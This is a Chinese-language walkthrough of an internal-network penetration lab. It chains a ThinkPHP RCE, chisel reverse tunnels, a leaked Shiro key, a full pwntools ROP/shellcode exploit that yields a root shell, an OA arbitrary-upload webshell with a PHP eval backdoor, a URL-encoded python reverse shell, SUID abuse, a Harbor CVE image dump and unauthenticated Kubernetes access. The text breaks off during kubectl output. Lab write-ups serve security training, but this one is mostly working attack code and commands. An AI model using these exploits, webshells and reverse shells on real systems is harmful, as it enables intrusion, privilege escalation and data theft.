2024 - GreatWall
信息
Tags
- 内网渗透
靶标介绍
在这个靶场中，您将扮演一名渗透测试工程师，接受雇佣任务来评估 “SmartLink Technologies Ltd.” 公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务，然后运用后渗透技巧深入 SmartLink 公司的内部网络。在这个过程中，您将寻找潜在的弱点和漏洞，并逐一接管所有服务，从而控制整个内部网络。靶场中共设置了 6 个 Flag，它们分布在不同的靶机上，您需要找到并获取这些 Flag 作为您的成就目标。
入口点
8.130.110.24
入口点探测
直接使用 fscan 进行扫描探测
start infoscan
8.130.110.24:8080 open
8.130.110.24:22 open
8.130.110.24:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.110.24 code:200 len:10887 title:""
[*] WebTitle http://8.130.110.24:8080 code:200 len:1027 title:Login Form
[+] PocScan http://8.130.110.24:8080 poc-yaml-thinkphp5023-method-rce poc1
入口点 ThinkPHP Webshell
发现 http://8.130.110.24:8080 服务存在有 ThinkPHP 直接 RCE 漏洞，尝试利用
存在有以下利用 payload
[+] 目标存在 tp5_construct_code_exec_2 漏洞
[+] 目标存在 tp5_construct_code_exec_1 漏洞
尝试直接命令执行，发现无回显
尝试直接写入 webshell
然后利用蚁剑建立连接
成功植入 webshell
flag - 01
flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}
内网扫描 172.28.23.0/24
上传 fscan 到入口点靶机之后，查看网卡信息
(remote) www-data@portal:/var/www/html/background/public$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.23.17 netmask 255.255.0.0 broadcast 172.28.255.255
inet6 fe80::216:3eff:fe04:8b0a prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:04:8b:0a txqueuelen 1000 (Ethernet)
RX packets 54139 bytes 65477946 (65.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16175 bytes 3092855 (3.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 712 bytes 67453 (67.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 712 bytes 67453 (67.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
使用 fscan 进行扫描
172.28.23.0/24
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.28.23.17 is alive
(icmp) Target 172.28.23.26 is alive
(icmp) Target 172.28.23.33 is alive
[*] Icmp alive hosts len is: 3
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.33:22 open
172.28.23.26:22 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.26:21 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.28.23.17 code:200 len:10887 title:""
[*] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
[*] WebTitle http://172.28.23.26 code:200 len:13693 title: 新翔 OA 管理系统 - OA 管理平台联系电话：13849422648 微信同号，QQ958756413
[+] ftp 172.28.23.26:21:anonymous
[->]OASystem.zip
[*] WebTitle http://172.28.23.33:8080 code:302 len:0 title:None 跳转 url: http://172.28.23.33:8080/login;jsessionid=363B8F8B96F639A14C8B7F4646D27459
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=363B8F8B96F639A14C8B7F4646D27459 code:200 len:3860 title: 智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
172.28.23.0/24 建立中转枢纽
vps
root@jmt-projekt:~# ./chisel_1.9.1_linux_amd64 server -p 1337 --reverse &
root@jmt-projekt:~# 2024/08/16 10:58:03 server: Reverse tunnelling enabled
2024/08/16 10:58:03 server: Fingerprint D9Wm+jW4SsG7MFgviTnkO7s3S7aNEYPubfsRa+k9pBM=
2024/08/16 10:58:03 server: Listening on http://0.0.0.0:1337
然后将 chisel_1.9.1_linux_amd64 传输到入口点靶机之后，执行连接
入口点
(remote) www-data@portal:/tmp$ ./chisel_1.9.1_linux_amd64 client 139.*.*.*:1337 R:0.0.0.0:10000:socks &
2024/08/16 10:59:36 client: Connecting to ws://139.*.*.*:1337
2024/08/16 10:59:36 client: Connected (Latency 46.289192ms)
成功建立 socks 代理
172.28.23.33 Springboot
根据 fscan 的扫描结果，存在有 poc-yaml-spring-actuator-heapdump-file 信息泄露，尝试获取
┌──(randark ㉿ kali)-[~]
└─$ proxychains4 wget http://172.28.23.33:8080/actuator/heapdump
......
┌──(randark ㉿ kali)-[~]
└─$ java -jar ./tools/JDumpSpider-1.1-SNAPSHOT-full.jar ./heapdump
......
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES
在 heapdump 文件中获取到了 Shiro 框架的 key 之后，就可以执行反序列化 RCE
尝试写入 webshell
尝试连接
成功 getshell
172.28.23.33 二进制服务程序攻击
尝试探测目标靶机的所有服务
尝试连接位于 59696 端口的服务
┌──(randark ㉿ kali)-[~]
└─$ proxychains4 nc 172.28.23.33 59696
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 139.*.*.*:10000 ... 172.28.23.33:59696 ... OK
Connection established!
Server time: Fri Aug 16 11:26:17 2024
Username: 123
Password: 123
Unauthorized
怀疑是二进制 pwn 攻击，定位到服务位于 /home/ops01/HashNote 文件（无法使用 lsof 或者 ss 进行定位，因为权限不足）
这也说明这个服务是以 root 权限运行的，如果借助 pwn 攻击拿下服务的话，就可以直接获得 root 权限
将程序下载到本地进行分析之后，编写攻击脚本
from pwn import *
elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')
p = remote('172.28.23.33', 59696)
def send_command(command):
p.sendlineafter(b':', str(command))
def add_entry(key, value):
send_command(1)
p.sendlineafter(b'Key:', key)
p.sendlineafter(b'Data:', value)
def get_entry(key):
send_command(2)
p.sendlineafter(b'Key:', key)
def update_entry(key, value):
send_command(3)
p.sendlineafter(b'Key:', key)
p.sendlineafter(b'Data:', value)
def set_username(value):
send_command(4)
p.sendafter(b'New username:', value)
# Authenticate
p.sendlineafter(b'Username:', b'123')
p.sendlineafter(b'Password:', b'freep@ssw0rd:3')
# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)
# Shellcode to spawn a shell
sc = [
b'\x6a\x3b', # push 0x3b
b'\x58', # pop rax
b'\x99', # cdq
b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
b'\x53', # push rbx
b'\x48\x89\xe7', # mov rdi, rsp
b'\x52', # push rdx
b'\x57', # push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x0f\x05' # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10
def arbitrary_read(addr):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
get_entry(b'aahO')
def arbitrary_write(addr, data):
payload = p64(fake_obj_addr)
payload += p64(0xdeadbeef)
fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
fake_obj += b'aahO'.ljust(0x10, b'\x00')
fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'
payload += fake_obj
payload += shellcode
payload = payload.ljust(128, b'\x00')
set_username(payload)
update_entry(b'aahO', data)
# Leak the stack address
environ = 0x5e4c38
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)
# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776
# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)
arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')
p.interactive()
借助 proxychains 将 python 脚本代理到内网中的靶机
┌──(env)(randark ㉿ kali)-[~/tmp]
└─$ proxychains4 python3 pwn-exploit.py
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[*] '/home/randark/tmp/HashNote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[O] Opening connection to 172.28.23.33 on port 59696: Trying 172.28.23.33 [o]
[+] Opening connection to 172.28.23.33 on port 59696: Done
......
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'root\n'
root
flag - 03
在借助二进制程序的漏洞拿到 root shell 之后，在 /root 目录中可以找到 flag
flag{6a326f94-6526-4586-8233-152d137281fd}
172.28.23.26 信息泄露
尝试访问
首先尝试目录扫描
┌──(randark ㉿ kali)-[~]
└─$ dirsearch --proxy socks5://139.*.*.*:10000 -u http://172.28.23.26 -i 200
......
[14:13:56] Starting:
[14:14:00] 200 - 6KB - /.DS_Store
[14:14:40] 200 - 0B - /checklogin.php
[14:14:47] 200 - 3B - /db.php
[14:14:49] 200 - 532B - /download/
[14:15:09] 200 - 722B - /manage/
[14:15:42] 200 - 527B - /system/
[14:15:47] 200 - 61B - /upfile.php
[14:15:47] 200 - 546B - /upload/
[14:15:47] 200 - 50B - /upload.php
未发现存在有可利用点
结合 fscan 扫描得到的 ftp 172.28.23.26:21:anonymous 记录来看，可能 ftp 存在有信息泄露
┌──(randark ㉿ kali)-[~]
└─$ proxychains4 ftp anonymous@172.28.23.26 21
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 139.*.*.*:10000 ... 172.28.23.26:21 ... OK
Connected to 172.28.23.26.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10835|)
[proxychains] Strict chain ... 139.*.*.*:10000 ... 172.28.23.26:10835 ... OK
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 7536672 Mar 23 23:56 OASystem.zip
将 OASystem.zip 文件下载下来之后，在其中发现 OA 系统的源码
对源码进行审计，发现登录逻辑存在有漏洞
checklogin.php
<?php
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
else {
return false;
}
}
else {
return false;
}
}
?>
可以发现，只需要将几个 _COOKIE 属性的值不为空，就可以直接过登录
同时，发现任意文件上传的漏洞
uploadbase64.php
<?php
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
可以直接尝试利用
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
imgbase64=
测试一下，目标文件的内容确实为 test
┌──(randark ㉿ kali)-[~/tmp]
└─$ proxychains4 http get 172.28.23.26/upload/2024-08-16-66bef298cdc19.png
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 139.*.*.*:10000 ... 172.28.23.26:80 ... OK
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 4
Content-Type: image/png
Date: Fri, 16 Aug 2024 06:33:27 GMT
ETag: "4-61fc7213ca6b0"
Keep-Alive: timeout=5, max=100
Last-Modified: Fri, 16 Aug 2024 06:32:56 GMT
Server: Apache/2.4.18 (Ubuntu)
test
172.28.23.26 webshell
结合发现的任意文件上传漏洞，直接部署 webshell
POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
imgbase64=
尝试连接
但是需要注意的是，远程靶机上存在有 disable_functions
经过测试和排除，可以使用 LD_proload 进行绕过
执行成功后，将生成 /tmp/.98630ant_x64.so 和 /var/www/html/OAsystem/upload/.antproxy.php
手动创建 /var/www/html/OAsystem/upload/shell-get.php
shell-get.php
<?php @eval($_GET_['a']) ?>
然后修改 /var/www/html/OAsystem/upload/.antproxy.php
尝试进行利用
┌──(randark ㉿ kali)-[~/tmp]
└─$ proxychains4 http get http://172.28.23.26/upload/.antproxy.php?cmd=whoami
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 139.*.*.*:10000 ... 172.28.23.26:80 ... OK
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 9
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Aug 2024 06:55:56 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.18 (Ubuntu)
www-data
成功部署了 webshell
172.28.23.26 反弹 shell
由于 172.28.23.0/24 这个内网没有出网的能力，所以需要将 vps 上的监听器端口转发到 172.28.23.17 (入口点) 上，以便于内网靶机的反弹 shell
172.28.23.17
(remote) www-data@portal:/tmp$ ./chisel_1.9.1_linux_amd64 client 139.*.*.*:1337 9999:9999 &
2024/08/16 15:00:55 client: Connecting to ws://139.*.*.*:1337
2024/08/16 15:00:55 client: tun: proxy#9999=>9999: Listening
2024/08/16 15:00:55 client: Connected (Latency 51.273631ms)
然后借助在 OA 系统上部署的 webshell 来执行反弹 shell
┌──(randark ㉿ kali)-[~/tmp]
└─$ proxychains4 http get http://172.28.23.26/upload/.antproxy.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22172.28.23.17%22%2C9999%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27
成功收到反连 shell
(remote) www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ whoami
www-data
172.28.23.26 Suid 提权
尝试扫描 suid 特权文件，发现
(remote) www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
可以借助 base32 实现任意文件读取
(remote) www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ base32 /flag02.txt | base32 -d
flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}
flag - 02
flag{56d37734-5f73-447f-b1a5-a83f45549b28}
172.28.23.26 探测环境
查看网卡信息，发现存在双层内网
(remote) www-data@ubuntu-oa:/var/www/html/OAsystem/upload$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3e:03:44:3d
inet addr:172.28.23.26 Bcast:172.28.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe03:443d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:111561 errors:0 dropped:0 overruns:0 frame:0
TX packets:28303 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:119253359 (119.2 MB) TX bytes:21824361 (21.8 MB)
eth1 Link encap:Ethernet HWaddr 00:16:3e:04:42:65
inet addr:172.22.14.6 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe04:4265/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:860 errors:0 dropped:0 overruns:0 frame:0
TX packets:863 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:37216 (37.2 KB) TX bytes:37178 (37.1 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:610 errors:0 dropped:0 overruns:0 frame:0
TX packets:610 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:57067 (57.0 KB) TX bytes:57067 (57.0 KB)
172.22.14.0/24 双层内网建立中转枢纽
172.28.23.0/24 内网已经建立代理，所以需要针对二层的 172.22.14.0/24 建立代理
首先，需要将公网 vps 的 chisel 监听端口 1337 转发到内网 172.28.23.17 (入口点)
(remote) www-data@portal:/tmp$ ./chisel_1.9.1_linux_amd64 client 139.*.*.*:1337 1337:11337 &
2024/08/16 15:14:59 client: Connecting to ws://139.*.*.*:1337
2024/08/16 15:14:59 client: tun: proxy#1337=>11337: Listening
2024/08/16 15:15:00 client: Connected (Latency 43.287612ms)
然后在一层内网与二层内网共在的靶机上建立转发
172.28.23.26 & 172.22.14.6
(remote) www-data@ubuntu-oa:/tmp$ ./chisel_1.9.1_linux_amd64 client 172.28.23.17:1337 R:0.0.0.0:10001:socks &
2024/08/16 15:24:51 client: Connecting to ws://172.28.23.17:1337
2024/08/16 15:24:51 server: session#8: tun: proxy#R:10001=>socks: Listening
2024/08/16 15:24:51 client: Connected (Latency 47.995041ms)
成功建立二层内网的代理
内网扫描 172.22.14.0/24
start ping
(icmp) Target 172.22.14.6 is alive
(icmp) Target 172.22.14.37 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 3
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.37:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
172.22.14.37:10250 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle: http://172.22.14.6 code:200 len:13693 title: 新翔 OA 管理系统 - OA 管理平台联系电话：13849422648 微信同号，QQ958756413
[*] WebTitle: http://172.22.14.46 code:200 len:785 title:Harbor
[+] InfoScan:http://172.22.14.46 [Harbor]
[+] ftp://172.22.14.6:21:anonymous
[->]OASystem.zip
[*] WebTitle: https://172.22.14.37:10250 code:404 len:19 title:None
[+] http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
172.22.14.46 Harbor 镜像泄露
使用 CVE-2022-46463 漏洞，将 Harbor 上的信息进行获取
┌──(randark ㉿ kali)-[~/pocs/CVE-2022-46463]
└─$ proxychains4 -q python3 harbor.py http://172.22.14.46
[*] API version used v2.0
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret
将 harbor/secret 这个镜像获取下来分析
┌──(randark ㉿ kali)-[~/pocs/CVE-2022-46463]
└─$ proxychains python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Dumping : harbor/secret:latest
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
[Errno 1] Operation not permitted
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
[proxychains] Strict chain ... 139.*.*.*:10001 ... 172.22.14.46:80 ... OK
[+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653
然后对镜像进行分析，在其中找到 flag 文件
┌──(randark ㉿ kali)-[~/pocs/CVE-2022-46463/caches/harbor_secret/latest]
└─$ cat 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49/f1ag05_Yz1o.txt
flag05: flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}
flag - 05
flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}
172.22.14.37 Kubernetes
存在有 Kubernetes API 未授权，尝试进行攻击
https://172.22.14.37:6443
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/",
"/apis/admissionregistration.k8s.io",
"/apis/admissionregistration.k8s.io/v1",
"/apis/admissionregistration.k8s.io/v1beta1",
"/apis/apiextensions.k8s.io",
"/apis/apiextensions.k8s.io/v1",
"/apis/apiextensions.k8s.io/v1beta1",
"/apis/apiregistration.k8s.io",
"/apis/apiregistration.k8s.io/v1",
"/apis/apiregistration.k8s.io/v1beta1",
"/apis/apps",
"/apis/apps/v1",
"/apis/authentication.k8s.io",
"/apis/authentication.k8s.io/v1",
"/apis/authentication.k8s.io/v1beta1",
"/apis/authorization.k8s.io",
"/apis/authorization.k8s.io/v1",
"/apis/authorization.k8s.io/v1beta1",
"/apis/autoscaling",
"/apis/autoscaling/v1",
"/apis/autoscaling/v2beta1",
"/apis/autoscaling/v2beta2",
"/apis/batch",
"/apis/batch/v1",
"/apis/batch/v1beta1",
"/apis/certificates.k8s.io",
"/apis/certificates.k8s.io/v1beta1",
"/apis/coordination.k8s.io",
"/apis/coordination.k8s.io/v1",
"/apis/coordination.k8s.io/v1beta1",
"/apis/events.k8s.io",
"/apis/events.k8s.io/v1beta1",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/apis/networking.k8s.io",
"/apis/networking.k8s.io/v1",
"/apis/networking.k8s.io/v1beta1",
"/apis/node.k8s.io",
"/apis/node.k8s.io/v1beta1",
"/apis/policy",
"/apis/policy/v1beta1",
"/apis/rbac.authorization.k8s.io",
"/apis/rbac.authorization.k8s.io/v1",
"/apis/rbac.authorization.k8s.io/v1beta1",
"/apis/scheduling.k8s.io",
"/apis/scheduling.k8s.io/v1",
"/apis/scheduling.k8s.io/v1beta1",
"/apis/storage.k8s.io",
"/apis/storage.k8s.io/v1",
"/apis/storage.k8s.io/v1beta1",
"/healthz",
"/healthz/autoregister-completion",
"/healthz/etcd",
"/healthz/log",
"/healthz/ping",
"/healthz/poststarthook/apiservice-openapi-controller",
"/healthz/poststarthook/apiservice-registration-controller",
"/healthz/poststarthook/apiservice-status-available-controller",
"/healthz/poststarthook/bootstrap-controller",
"/healthz/poststarthook/ca-registration",
"/healthz/poststarthook/crd-informer-synced",
"/healthz/poststarthook/generic-apiserver-start-informers",
"/healthz/poststarthook/kube-apiserver-autoregistration",
"/healthz/poststarthook/rbac/bootstrap-roles",
"/healthz/poststarthook/scheduling/bootstrap-system-priority-classes",
"/healthz/poststarthook/start-apiextensions-controllers",
"/healthz/poststarthook/start-apiextensions-informers",
"/healthz/poststarthook/start-kube-aggregator-informers",
"/healthz/poststarthook/start-kube-apiserver-admission-initializer",
"/livez",
"/livez/autoregister-completion",
"/livez/etcd",
"/livez/log",
"/livez/ping",
"/livez/poststarthook/apiservice-openapi-controller",
"/livez/poststarthook/apiservice-registration-controller",
"/livez/poststarthook/apiservice-status-available-controller",
"/livez/poststarthook/bootstrap-controller",
"/livez/poststarthook/ca-registration",
"/livez/poststarthook/crd-informer-synced",
"/livez/poststarthook/generic-apiserver-start-informers",
"/livez/poststarthook/kube-apiserver-autoregistration",
"/livez/poststarthook/rbac/bootstrap-roles",
"/livez/poststarthook/scheduling/bootstrap-system-priority-classes",
"/livez/poststarthook/start-apiextensions-controllers",
"/livez/poststarthook/start-apiextensions-informers",
"/livez/poststarthook/start-kube-aggregator-informers",
"/livez/poststarthook/start-kube-apiserver-admission-initializer",
"/logs",
"/metrics",
"/openapi/v2",
"/readyz",
"/readyz/autoregister-completion",
"/readyz/etcd",
"/readyz/log",
"/readyz/ping",
"/readyz/poststarthook/apiservice-openapi-controller",
"/readyz/poststarthook/apiservice-registration-controller",
"/readyz/poststarthook/apiservice-status-available-controller",
"/readyz/poststarthook/bootstrap-controller",
"/readyz/poststarthook/ca-registration",
"/readyz/poststarthook/crd-informer-synced",
"/readyz/poststarthook/generic-apiserver-start-informers",
"/readyz/poststarthook/kube-apiserver-autoregistration",
"/readyz/poststarthook/rbac/bootstrap-roles",
"/readyz/poststarthook/scheduling/bootstrap-system-priority-classes",
"/readyz/poststarthook/start-apiextensions-controllers",
"/readyz/poststarthook/start-apiextensions-informers",
"/readyz/poststarthook/start-kube-aggregator-informers",
"/readyz/poststarthook/start-kube-apiserver-admission-initializer",
"/readyz/shutdown",
"/version"
]
}
注意
需要注意的是，由于 kubectl 自行设计了网络交互的逻辑，所以没办法由 proxychains 注入来实现代理，所以比较熬好的方案就是使用端口转发将 Kubernetes 端口转发出来
首先先转发服务
172.22.14.6
(remote) www-data@ubuntu-oa:/tmp$ ./chisel_1.9.1_linux_amd64 client 172.28.23.17:1337 R:0.0.0.0:10003:172.22.14.37:6443
2024/08/16 16:25:08 client: Connecting to ws://172.28.23.17:1337
2024/08/16 16:25:08 server: session#16: tun: proxy#R:10003=>172.22.14.37:6443: Listening
2024/08/16 16:25:08 client: Connected (Latency 48.219025ms)
然后尝试连接 Kubernetes 服务
┌──(randark ㉿ kali)-[~/tools]
└─$ ./kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ get pods
Please enter Username: a
Please enter Password: NAME READY STATUS RESTARTS AGE
nginx-deployment-58d48b746d-d6x8t 1/1 Running 3 314d
nginx-deployment-58d48b746d-pg4gl 1/1 Running 3 314d
nginx-deployment-58d48b746d-s2vwl 1/1 Running 3 314d
nginx-deployment-58d48b746d-x26mr 1/1 Running 3 314d
查看 pod 资源
┌──(randark ㉿ kali)-[~/tools]
└─$ ./kubectl --insecure-skip-tls-verify -s https://139.*.*.*:10003/ describe pod nginx-deployment-58d48b746d-d6x8t
Please enter Username: a
Please enter Password: Name: nginx-deployment-58d48b746d-d6x8t
Namespace: default
Priority: 0
Service Account: default
Node: ubuntu-k8s/172.22.14.37
Start Time: Fri, 06 Oct 2023 20:33:56 +0800
Labels: app=nginx
pod-template-hash=58d48b746d
Annotations: <none>
Status: Running
IP: 10.244.0.36
IPs:
IP: 10.244.0.36
Controlled By: ReplicaSet/nginx-deployment-58d48b746d
Containers:
nginx:
Container ID: docker://f7dfc9dc10e1efb17150bffcf6c32214cfbe3d360b938ae3ca3252e43b00dced
Image: nginx:1.8
Image ID: docker-pullable://nginx@sha256:c97ee70c4048fe79765f7c2ec0931957c2898f47400128f4f3640d0ae5d60d10
Port: <none>
Host Port: <none>
State: Running
Started: Fri, 16 Aug 2024 13:57:28 +0800
Last State: Terminated
Reason: Completed
Exit Code: 0
Started: Mon, 25 Mar 2024 16:55:49 +0800
